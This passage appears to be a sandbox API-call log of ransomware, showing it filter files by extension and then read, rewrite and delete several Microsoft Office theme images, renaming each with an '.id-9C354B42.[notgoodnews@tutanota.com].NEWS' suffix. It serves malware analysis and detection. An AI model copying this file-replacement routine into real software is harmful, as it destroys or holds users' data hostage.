[0071.759] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.759] lstrlenW (lpString=".doc") returned 4 [0071.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.760] lstrlenW (lpString=".docx") returned 5 [0071.760] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.760] lstrlenW (lpString=".pdf") returned 4 [0071.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.760] lstrlenW (lpString=".xls") returned 4 [0071.760] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.760] lstrlenW (lpString=".xlsx") returned 5 [0071.760] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.760] lstrlenW (lpString=".ppt") returned 4 [0071.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.760] lstrlenW (lpString=".zip") returned 4 [0071.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.760] lstrlenW (lpString=".rar") returned 4 [0071.760] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.760] lstrlenW (lpString=".bz2") returned 4 [0071.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.760] lstrlenW (lpString=".7z") returned 3 [0071.760] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.760] lstrlenW (lpString=".dbf") returned 4 [0071.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.761] lstrlenW (lpString=".1cd") returned 4 [0071.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.761] lstrlenW (lpString=".jpg") returned 4 [0071.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.761] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.761] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.762] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=18817) returned 1 [0071.762] CloseHandle (hObject=0x1ec) returned 1 [0071.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0071.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.762] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.762] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0071.763] GetLastError () returned 0x0 [0071.763] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x4981, lpOverlapped=0x0) returned 1 [0071.766] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0071.768] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.768] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.768] SetEndOfFile (hFile=0x1cc) returned 1 [0071.768] CloseHandle (hObject=0x1cc) returned 1 [0071.769] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.769] SetEndOfFile (hFile=0x1ec) returned 1 [0071.770] CloseHandle (hObject=0x1ec) returned 1 [0071.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0071.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.771] lstrlenW (lpString=".doc") returned 4 [0071.771] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.771] lstrlenW (lpString=".docx") returned 5 [0071.771] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.771] lstrlenW (lpString=".pdf") returned 4 [0071.771] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.771] lstrlenW (lpString=".xls") returned 4 [0071.772] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.772] lstrlenW (lpString=".xlsx") returned 5 [0071.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.772] lstrlenW (lpString=".ppt") returned 4 [0071.772] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.772] lstrlenW (lpString=".zip") returned 4 [0071.772] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.772] lstrlenW (lpString=".rar") returned 4 [0071.772] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.772] lstrlenW (lpString=".bz2") returned 4 [0071.772] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.772] lstrlenW (lpString=".7z") returned 3 [0071.772] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.772] lstrlenW (lpString=".dbf") returned 4 [0071.772] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.772] lstrlenW (lpString=".1cd") returned 4 [0071.772] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.773] lstrlenW (lpString=".jpg") returned 4 [0071.773] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.773] lstrlenW (lpString=".doc") returned 4 [0071.773] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.773] lstrlenW (lpString=".docx") returned 5 [0071.773] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.773] lstrlenW (lpString=".pdf") returned 4 [0071.773] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.773] lstrlenW (lpString=".xls") returned 4 [0071.773] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.773] lstrlenW (lpString=".xlsx") returned 5 [0071.773] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.773] lstrlenW (lpString=".ppt") returned 4 [0071.773] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.773] lstrlenW (lpString=".zip") returned 4 [0071.773] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.773] lstrlenW (lpString=".rar") returned 4 [0071.773] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.774] lstrlenW (lpString=".bz2") returned 4 [0071.774] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.774] lstrlenW (lpString=".7z") returned 3 [0071.774] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.774] lstrlenW (lpString=".dbf") returned 4 [0071.774] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0071.774] lstrlenW (lpString=".1cd") returned 4 [0071.774] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0072.556] lstrlenW (lpString=".jpg") returned 4 [0072.556] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.557] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.557] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.926] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=18413) returned 1 [0072.926] CloseHandle (hObject=0x170) returned 1 [0072.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0072.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.927] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.927] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0072.927] GetLastError () returned 0x0 [0072.927] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0072.932] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0072.935] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.935] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.935] SetEndOfFile (hFile=0x1f4) returned 1 [0072.935] CloseHandle (hObject=0x1f4) returned 1 [0072.935] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.935] SetEndOfFile (hFile=0x170) returned 1 [0072.937] CloseHandle (hObject=0x170) returned 1 [0072.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.937] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0072.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.938] lstrlenW (lpString=".doc") returned 4 [0072.938] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.938] lstrlenW (lpString=".docx") returned 5 [0072.938] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.938] lstrlenW (lpString=".pdf") returned 4 [0072.938] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.938] lstrlenW (lpString=".xls") returned 4 [0072.938] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.938] lstrlenW (lpString=".xlsx") returned 5 [0072.938] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.938] lstrlenW (lpString=".ppt") returned 4 [0072.938] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.938] lstrlenW (lpString=".zip") returned 4 [0072.938] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.938] lstrlenW (lpString=".rar") returned 4 [0072.938] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.938] lstrlenW (lpString=".bz2") returned 4 [0072.938] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.938] lstrlenW (lpString=".7z") returned 3 [0072.938] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.939] lstrlenW (lpString=".dbf") returned 4 [0072.939] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.939] lstrlenW (lpString=".1cd") returned 4 [0072.939] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.939] lstrlenW (lpString=".jpg") returned 4 [0072.939] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.939] lstrlenW (lpString=".doc") returned 4 [0072.939] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.939] lstrlenW (lpString=".docx") returned 5 [0072.939] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.939] lstrlenW (lpString=".pdf") returned 4 [0072.939] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.939] lstrlenW (lpString=".xls") returned 4 [0072.939] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.939] lstrlenW (lpString=".xlsx") returned 5 [0072.939] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.939] lstrlenW (lpString=".ppt") returned 4 [0072.939] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.940] lstrlenW (lpString=".zip") returned 4 [0072.940] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.940] lstrlenW (lpString=".rar") returned 4 [0072.940] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.940] lstrlenW (lpString=".bz2") returned 4 [0072.940] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.940] lstrlenW (lpString=".7z") returned 3 [0072.940] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.940] lstrlenW (lpString=".dbf") returned 4 [0072.940] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.940] lstrlenW (lpString=".1cd") returned 4 [0072.940] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0072.940] lstrlenW (lpString=".jpg") returned 4 [0072.940] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.940] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.940] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.941] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1339) returned 1 [0072.941] CloseHandle (hObject=0x170) returned 1 [0072.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0072.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.941] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.941] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.945] GetLastError () returned 0x0 [0072.945] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x53b, lpOverlapped=0x0) returned 1 [0072.947] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x540, lpOverlapped=0x0) returned 1 [0072.949] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.949] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.949] SetEndOfFile (hFile=0x1e4) returned 1 [0072.949] CloseHandle (hObject=0x1e4) returned 1 [0072.949] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.949] SetEndOfFile (hFile=0x170) returned 1 [0072.951] CloseHandle (hObject=0x170) returned 1 [0072.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.951] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0072.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.952] lstrlenW (lpString=".doc") returned 4 [0072.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.952] lstrlenW (lpString=".docx") returned 5 [0072.952] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.952] lstrlenW (lpString=".pdf") returned 4 [0072.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.952] lstrlenW (lpString=".xls") returned 4 [0072.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.952] lstrlenW (lpString=".xlsx") returned 5 [0072.952] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.952] lstrlenW (lpString=".ppt") returned 4 [0072.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.952] lstrlenW (lpString=".zip") returned 4 [0072.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.952] lstrlenW (lpString=".rar") returned 4 [0072.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.952] lstrlenW (lpString=".bz2") returned 4 [0072.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.952] lstrlenW (lpString=".7z") returned 3 [0072.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.952] lstrlenW (lpString=".dbf") returned 4 [0072.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.953] lstrlenW (lpString=".1cd") returned 4 [0072.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.953] lstrlenW (lpString=".jpg") returned 4 [0072.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") 